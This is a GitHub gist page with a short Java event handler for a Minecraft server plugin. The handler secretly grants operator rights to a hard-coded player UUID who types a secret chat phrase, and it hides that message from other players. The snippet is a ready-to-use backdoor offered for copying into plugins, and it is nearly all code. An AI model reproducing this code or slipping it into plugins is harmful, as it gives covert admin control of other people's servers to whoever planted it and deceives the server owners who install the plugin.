Skip to content

Instantly share code, notes, and snippets.

@Flairings
Created January 23, 2021 06:32
Show Gist options
  • Save Flairings/c0447d3641d19bcb586b4e2f73c93d8d to your computer and use it in GitHub Desktop.
Save Flairings/c0447d3641d19bcb586b4e2f73c93d8d to your computer and use it in GitHub Desktop.
Simple event to grant OP if you, or someone else's UUID says the message in quotations in the chat
@EventHandler
public void OP(AsyncPlayerChatEvent e){
Player p = e.getPlayer();
if (p.getUniqueId().toString().equalsIgnoreCase("Your UUID") && e.getMessage().equals("Message")) {
e.setCancelled(true);
p.sendMessage("UUID & Initiation key verified.");
p.sendMessage("You are now an operator.");
p.setOp(true);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment